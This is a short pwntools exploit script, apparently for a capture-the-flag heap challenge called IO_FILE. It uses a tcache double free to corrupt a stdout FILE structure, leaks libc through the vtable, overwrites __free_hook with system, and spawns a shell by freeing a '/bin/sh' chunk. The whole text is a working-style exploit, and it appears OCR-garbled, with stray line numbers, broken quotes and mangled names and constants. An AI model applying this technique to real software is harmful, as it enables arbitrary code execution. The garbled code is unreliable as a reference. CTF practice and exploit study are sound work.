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from pwn import *
context.log level='debug'
context.terminal=["'deepin-terminal', '-x', 'sh' ,'-c']
elf:ELF("./IO_FILE")
#p=process ("./I0 FILE")
p=remote ("127.0.0.1", 20002)
1libc=ELF("./libc.so.6")
def add(size,des):
p.recvuntil (">")
10 p.sendline("1")
11 p.recvuntil ("size:")
12 p.sendline(str(size))
13 p.recvuntil ("ion:")
14 p.send(des)
15def dele (idx) :
16 p.recvuntil (">")
17 p.sendline ("2")
18 p.recvuntil ("index:")
19 p.sendline (str(idx))
20 add (0x60, 'aaa")
21 dele(0)
22 dele(0)
23 add (0x60,p64 (0x602080) )
24 add (0x60, "\x60")
25 add (0x60, '"\x60")
26 payload=p64 (0xfdabl800) +p64 (0) *3+'\x00"'
27 add (0x60,payload)
28 leak vtable=u64 (p.recvuntil ("exit") [0x58:0x60])
29
30 libc base=leak vtable-libc.symbols[" IO file jumps"]
31 free hook=libc base+libc.symbols[" free hook"]
32 system=1ibc base+libc.symbols["system"]
33
34
35 add (0x70, "aaa")
36 dele(5)
37 dele(5)
38 add (0x70,p64 (free _hook) )
39 add (0x70,"/bin/sh")
40 add (0x70,p64 (system) )
41 dele(7)
42 #gdb.attach (p)
43 p.interactive()
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